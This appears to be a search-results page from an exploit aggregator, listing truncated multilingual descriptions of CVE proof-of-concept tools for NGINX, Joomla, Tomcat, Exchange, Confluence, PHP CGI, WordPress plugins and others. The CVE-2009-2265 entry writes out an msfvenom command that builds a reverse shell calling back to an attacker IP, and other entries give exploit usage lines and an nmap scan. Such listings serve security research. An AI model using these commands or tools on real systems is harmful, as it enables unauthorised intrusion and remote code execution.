522080 matches found
CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough
CVE-2024-24945-NGINX-RIFT---Recorrido del Laboratorio de TryHackMe Este laboratorio demuestra la explotación de CVE-2024-24945, una vulnerabilidad de corrupción del montón heap corruption que afecta a NGINX. El objetivo fue comprender cómo la corrupción de memoria puede provocar la ejecución remo...
masta-cve-2026-48907
MASTA CVE-2026-48907 扫描器 单文件、自包含扫描器，用于 Joomla! JCE Editor 作者：Hussein Mohamed masta ghimau !CAUTION 🚨 免责声明 — 使用前请阅读 这是一款侵入式安全测试工具。 root@kitploit: THIS TOOL IS FOR AUTHORIZED SECURITY ASSESSMENTS ONLY. Scanning systems you do NOT own or have WRITTEN PERMISSION to test is ILLEGAL in most...
CVE-2026-6992-PoC
CVE-2026-6992-PoC 针对蓝牙 PIN RCE 注入漏洞 CVE-2026-6992 的概念验证漏洞利用，重新整理自 https://github.com/utmost3/cve/issues/2 本人不声称发现该漏洞。本内容仅用于教育和作品集展示目的。对于不具备通过蓝牙进行管理能力的设备，此 PoC 可能无法生效。JNAP 请求较为棘手。 用法与详情 此漏洞利用程序应适用于具有蓝牙功能的 MR9600 路由器。 root@kitploit: usage: CVE-2026-6992-PoC.py -h -ti TARGETIP -tp TARGETPORT -lp...
CVE-2019-12840.py
CVE-2019-12840.py POC Fake Shell: CVE-2019-12840 RCE Autenticado - Actualizaciones de Paquetes de Webmin...
ghostcat
该工具利用 Apache Tomcat 中的一个 LFI 漏洞（CVE-2020-1938），不仅可以查看敏感文件，还可以运行恶意的 JSP 载荷。 可在此处下载（需要从命令行运行） 用法： ghostcat target HTTP port AJP port file read/eval...
CVE-2021-34473
CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server 远程代码执行漏洞 复现 ProxyShell 漏洞利用 https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ 这不是你的网络武器，只是一个实验性 PoC...
CVE-2026-48939
CVE-2026-48939 — iCagenda Joomla RCE 漏洞利用工具 无需认证的任意文件上传 → PHP 代码执行 概述 CVE-2026-48939 是 iCagenda（Joomla 的事件日历扩展）中的一个 CVSS 10.0 严重漏洞。前端活动注册表单的文件附件功能仅在视图层强制访问控制，而未在控制器层进行验证，导致未经身份验证的用户可以上传文件，且未对扩展名进行任何校验。 上传的文件直接存放在 Web 根目录下的 /images/icagenda/frontend/attachments/ 中，并可立即作为 PHP 执行。 受影响版本 iCagenda 版本|...
CVE-2009-2265
版本：ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 示例：...
cve-2022-26134
Atlassian Confluence OGNL 注入 POC 漏洞 CVE-2022-26134 任意代码执行 使用方法： pip3 install termcolor python3 exploit.py http://example.com 文档： https://blog.qualys.com/vulnerabilities-threat-research/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execution-rce-vulnerability-cve-2022-26134 支持我：...
CVE-2026-45659
CVE-2026-45659 Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized...
CVE-2024-28515
CVE-2024-28515 描述 CSAPPLab CSAPP Lab3 15-213 Fall 20xx 中的缓冲区溢出漏洞允许远程攻击者通过 csapp 的 lab3 中的 lab3/buflab-update.pl 组件执行任意代码。 附加信息 CNVD 已完成对此漏洞的验证，但由于该漏洞尚未修复，因此尚未公开披露。 漏洞类型 缓冲区溢出 产品供应商 CSAPPLab Lab of CS:APP3e 受影响的产品代码库 CSAPP Lab3 - 15-213, Fall 20xx（仅有一个版本） 受影响的组件 csapp 的 lab3，lab3/buflab-update.pl...
CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC
🚨 Wazuh Ejecución Remota de Código RCE - PoC 📌 Resumen de la Vulnerabilidad Se ha identificado una vulnerabilidad crítica de RCE en el servidor de Wazuh debido a una deserialización insegura en el paquete wazuh-manager. Este error afecta a las versiones de Wazuh ≥ 4.4.0 y se ha corregido en la...
CVE-2019-0708-Windows
CVE-2019-0708-Windows 这篇文章将分享Windows远程桌面服务漏洞（CVE-2019-0708），并详细讲解该漏洞及防御措施。作者作为网络安全的小白，分享一些自学基础教程给大家，主要是关于安全工具和实践操作的在线笔记，希望您们喜欢。同时，更希望您能与我一起操作和进步，后续将深入学习网络安全和系统安全知识并分享相关实验。总之，希望该系列文章对博友有所帮助，写文不易，大神们不喜勿喷，谢谢！ 对应博客： 网络安全自学篇 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell 网络安全自学篇...
ActiveMQ_CVE-2015-5254
ActiveMQ反序列化（CVE-2015-5254） 漏洞描述：Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message ServiceJMSObjectMessage对象利用该漏洞执行任意代码。 影响版本：Apache ActiveMQ 5.13.0之前的5.x版本 0x01 登陆后台确定版本： http://IP:8161 0x02 确定61616端口开放： nmap -sV -Pn -T4 -sC -p 61616 IP 0x03 发送反弹payload： java...
CVE-2017-8759
CVE-2017-8759 漏洞利用工具包 - v1.0 CVE-2017-8759 漏洞利用工具包 - v1.0 是一个方便的 Python 脚本，为渗透测试人员和安全研究人员提供了一种快速有效的方式来测试 Microsoft .NET Framework RCE。它可以生成恶意 RTF 文件，并在无需任何复杂配置的情况下向受害者投递 metasploit / meterpreter / 其他 payload。 免责声明...
CVE-2024-4577
CVE-2024-4577 - PHP CGI 参数注入 RCE 概述 CVE-2024-4577 是一个严重的 PHP CGI 参数注入漏洞 ，影响在 Windows 系统上以 CGI 模式运行 PHP 的环境。该漏洞允许远程攻击者通过特制 URL 向 PHP 命令行 注入参数 ，从而导致 远程代码执行（RCE） 。 本仓库包含： CVE-2024-4577.py：用于检测易受影响目标的 扫描器 。 exploit.py：一个 漏洞利用工具 ，可向易受攻击的服务器发送 PHP 代码并执行系统命令。 ⚠️ 免责声明 本项目仅用于 教育和授权测试...
CVE-2022-35737
CVE-2022-35737 SQLite3 sqlite3strvappendf 函数中的整数溢出。 CVSS 6.7 AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H CVE-2022-35737 于 SQLite 1.0.12 版本中引入，并在 2022 年 7 月 21 日发布的 3.39.2 版本中修复。该漏洞可在 64 位系统上被利用，其可利用性取决于程序的编译方式：当库在未启用栈金丝雀的情况下编译时，已确认可执行任意代码；但在启用栈金丝雀时尚未确认；在所有情况下，均已确认可造成拒绝服务。 当格式说明符为 %q、%Q 或 %w 时，向...
deepin-linux_reader_RCE-exploit
CVE-2023-50254 - Deepin Linux 默认文档查看器 deepin-reader 远程代码执行漏洞 CVE-2023-50254：针对 Deepin-reader 远程代码执行漏洞的 PoC 利用，影响未打补丁的 Deepin Linux 桌面系统。Deepin Linux 默认文档阅读器 "deepin-reader" 软件因设计缺陷存在严重漏洞，可通过特制的 docx 文档实现远程命令执行。 详情 Deepin-reader 是 Deepin Linux 操作系统的默认文档阅读器。deepin-reader 在处理 docx 文档格式时会执行某些 shell...
CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit
CVE-2026-3891-Pix-for-WooCommerce-插件-利用 🛡️ 描述 CVE-2026-3891 是一个严重的未经认证的任意文件上传漏洞 ，存在于 Pix for WooCommerce WordPress 插件中，影响版本至 1.5.0（含） 。 该漏洞存在于 lknpixforwoocommercec6savesettings 功能中，原因是缺少授权控制且文件类型验证不足。此利用工具自动获取有效 nonce，并演示了将 PHP 文件无限制上传到 Web 可访问目录的过程。 通过利用此漏洞，未经认证的攻击者可能能够： 上传任意文件 ，无需 WordPress 认证。...